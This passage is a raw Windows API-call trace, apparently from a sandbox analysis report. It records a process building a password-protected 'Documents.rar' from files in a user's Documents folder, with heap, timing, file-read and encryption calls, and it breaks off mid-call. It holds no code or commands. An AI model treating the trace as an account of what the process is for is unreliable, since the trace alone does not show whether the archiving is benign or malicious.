(HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.835] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39daf0 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65860 | out: hHeap=0x2e0000) returned 1 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65830 | out: hHeap=0x2e0000) returned 1 [0068.835] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39db40 [0068.835] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7e) returned 0x3a3910 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.836] GetTickCount () returned 0xa677e0 [0068.836] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14418025991) returned 1 [0068.840] GetTickCount () returned 0xa677e0 [0068.840] GetTickCount () returned 0xa677e0 [0068.840] GetTickCount () returned 0xa677e0 [0068.840] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.840] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.841] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.841] ResetEvent (hEvent=0x1a4) returned 1 [0068.841] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.842] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.842] ResetEvent (hEvent=0x1a4) returned 1 [0068.842] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.843] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] GetTickCount () returned 0xa677e0 [0068.843] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14418314769) returned 1 [0068.843] GetTickCount () returned 0xa677e0 [0068.843] GetTickCount () returned 0xa677e0 [0068.843] GetTickCount () returned 0xa677e0 [0068.843] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.843] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.843] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.843] ResetEvent (hEvent=0x190) returned 1 [0068.843] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.843] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] ResetEvent (hEvent=0x190) returned 1 [0068.843] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.844] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.844] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.844] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x391352 [0068.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=123, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3913cd [0068.844] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.844] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.844] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.844] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.844] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x4d80, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x4d80, lpOverlapped=0x0) returned 1 [0068.844] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.844] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=3740498, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x391352 [0068.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x391352 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.845] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39daf0 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.845] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39db40 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65860 | out: hHeap=0x2e0000) returned 1 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65830 | out: hHeap=0x2e0000) returned 1 [0068.845] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39daf0 [0068.845] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7e) returned 0x3a3910 [0068.845] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x7b, lpOverlapped=0x0) returned 1 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x7b) returned 0x3a3b50 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.845] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x39614d [0068.845] CloseHandle (hObject=0x1b0) returned 1 [0068.845] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.845] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.845] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\Cyhav4m7LPhUY.odt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.845] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.845] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\Cyhav4m7LPhUY.odt" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\cyhav4m7lphuy.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.845] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.845] GetTickCount () returned 0xa677e0 [0068.845] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.845] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.845] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.845] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.845] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="4fPI cdQ5b.csv") returned 14 [0068.845] SetWindowTextW (hWnd=0x10280, lpString="Cyhav4m7LPhUY.odt") returned 1 [0068.846] GetTickCount () returned 0xa677e0 [0068.846] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.846] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.846] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.846] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.846] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1b7)) [0068.846] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.846] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14418664767) returned 1 [0068.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xa2ac, lpOverlapped=0x0) returned 1 [0068.847] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aa2ec, nNumberOfBytesToRead=0xf5d54, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aa2ec*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.847] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.847] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.847] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39db40 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.847] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39daf0 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.847] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65890 | out: hHeap=0x2e0000) returned 1 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65860 | out: hHeap=0x2e0000) returned 1 [0068.847] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39db40 [0068.847] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x81) returned 0x3a3910 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.847] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.848] GetTickCount () returned 0xa677e0 [0068.848] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14418824326) returned 1 [0068.848] GetTickCount () returned 0xa677e0 [0068.848] GetTickCount () returned 0xa677e0 [0068.848] GetTickCount () returned 0xa677e0 [0068.848] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.848] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.848] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.849] ResetEvent (hEvent=0x1a4) returned 1 [0068.849] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.850] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.850] ResetEvent (hEvent=0x1a4) returned 1 [0068.850] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.852] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.852] GetTickCount () returned 0xa677e0 [0068.852] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14419225174) returned 1 [0068.852] GetTickCount () returned 0xa677e0 [0068.852] GetTickCount () returned 0xa677e0 [0068.852] GetTickCount () returned 0xa677e0 [0068.852] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.852] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.852] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.852] ResetEvent (hEvent=0x190) returned 1 [0068.852] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.853] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.853] ResetEvent (hEvent=0x190) returned 1 [0068.853] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.853] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.853] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.853] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.853] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x39614d [0068.853] SetFilePointer (in: hFile=0x198, lDistanceToMove=126, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3961cb [0068.853] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.853] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.853] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.854] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.854] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xa320, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xa320, lpOverlapped=0x0) returned 1 [0068.854] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.854] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=3760461, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x39614d [0068.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x39614d [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.855] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39daf0 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.855] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39db40 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65890 | out: hHeap=0x2e0000) returned 1 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65860 | out: hHeap=0x2e0000) returned 1 [0068.855] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39daf0 [0068.855] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x81) returned 0x3a3910 [0068.855] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x7e, lpOverlapped=0x0) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.855] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x7e) returned 0x3a3be0 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.855] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.855] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3a04eb [0068.855] CloseHandle (hObject=0x1b0) returned 1 [0068.855] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.855] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.855] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.855] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.855] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.855] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.855] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\ey3s.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.855] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.855] GetTickCount () returned 0xa677e0 [0068.855] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.855] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.855] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.856] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.856] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Cyhav4m7LPhUY.odt") returned 17 [0068.856] SetWindowTextW (hWnd=0x10280, lpString="Ey3s.xlsx") returned 1 [0068.856] GetTickCount () returned 0xa677e0 [0068.856] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.856] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.856] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.856] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.856] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1b7)) [0068.856] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.856] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14419675202) returned 1 [0068.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x10bd3, lpOverlapped=0x0) returned 1 [0068.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b0c13, nNumberOfBytesToRead=0xef42d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b0c13*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.858] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.858] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.858] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x48) returned 0x39db40 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.858] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x48) returned 0x39daf0 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, 